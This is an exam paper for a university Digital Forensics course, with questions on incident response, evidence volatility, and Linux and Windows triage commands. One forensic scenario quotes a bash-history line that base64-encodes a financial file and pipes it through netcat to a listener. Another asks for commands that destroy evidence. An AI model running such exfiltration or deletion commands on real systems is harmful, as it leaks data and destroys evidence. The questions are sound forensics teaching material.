JAYPEE UNIVERSITY OF INFORMATION TECHNOLOGY, WAKNAGHAT

TEST -2 EXAMINATION- 2025

B.Tech-VI Semester (CSE/IT)

COURSE CODE (CREDITS): 19B1WCI631 (2) MAX. MARKS: 25

COURSE NAME: DIGITAL FORENSICS

COURSE INSTRUCTORS: AAYUSH SHARMA MAX. TIME: 1 Hour 30 Min

Note: *(a) All questions are compulsory.*

(b) The candidate is allowed to make Suitable numeric assumptions wherever required for solving problems

Q.No	Question	CO	Marks
Q1	List and briefly explain the primary goals of incident response.	[CO3]	[3]
Q2	Outline the standard phases of an incident response methodology and explain the purpose of each phase.	[CO3]	[3]
Q3	You are investigating a suspected data leak from a Linux server (fin-hub-3). For 7 nights, between 11:55 PM and 12:10 AM, unusual encrypted traffic was detected to IP 192.168.1.115 (port 4444). **Key findings:** • Wireshark (***midnight-dump.pcapng***) shows encoded outbound data. • Alice's ***.bash_history*** shows: *cat /data/reports/2024_financials.csv | base64 | nc 192.168.1.115 4444* • A file ***/var/tmp/.cache.tar.gz*** was modified each night during the activity. • *tail /var/log/syslog* shows a USB was connected on Night 5 at 12:03 AM. • **auth.log** shows *sudo* usage by Alice shortly before each transmission window **Answer the following:** 1. Classify each as volatile or non-volatile evidence: (a) .bash_history (b) .cache.tar.gz (c) USB log in syslog (d) midnight-dump.pcapng 2. Which evidence is most vulnerable to tampering? Give one Linux command that could destroy it and explain how. 3. If an investigator runs *rm -rf /var/tmp/.cache.tar.gz,* what are the consequences for evidence admissibility and chain of custody?	[CO2] [CO3] [CO4]	[3X2]
Q4	Just hours before the university's final Digital Forensics exam, the question paper appears on discord. A faculty Windows 10 PC is suspected. The machine is still running, and you are tasked with live evidence collection. **You observe:** • A browser minimized • Active network connection to 203.0.113.99:8080 • Suspicious print activity	[CO1] [CO3] [CO4]	[5]

	• High CPU usage • Possible time tampering **Answer the following:** 1. Which command records the system's current time and date, and why is it critical? 2. Which two commands help link an active network connection to the process and its service details? 3. Which command lists active shared folders, even if not visible? 4. Name the directory and file types to check for recent print (spool files) jobs. 5. Which command shows commands executed in the current CMD session?		
Q5	You are a digital forensics analyst assigned to investigate a compromised Linux system. Your task is to perform an initial examination using basic Linux commands. The system is suspected to have unauthorized access and possibly some malicious files. **Here's what you need to do:** 1. Locate the working directory where suspicious scripts may have been placed. 2. Navigate into the */var/log* directory to check for logs that may contain evidence. 3. List all files in that directory to identify any recently modified log files. 4. Use a command to view the first 10 lines of the ***auth.log*** file for any suspicious login attempts. 5. You suspect a script named ***update.sh*** might be malicious. Use a command to display its contents. 6. You decide to copy that script into a folder called evidence in your home directory (create it if it doesn't exist). 7. For record-keeping, create a blank text file inside evidence called ***notes.txt***. 8. To ensure the script can't be executed accidentally, remove execute permissions from it. **Task:** Write the appropriate Linux command(s) for each step above in the correct order. Be precise, as this sequence might be reviewed in court during a forensic audit.	[CO3] [CO4]	[8]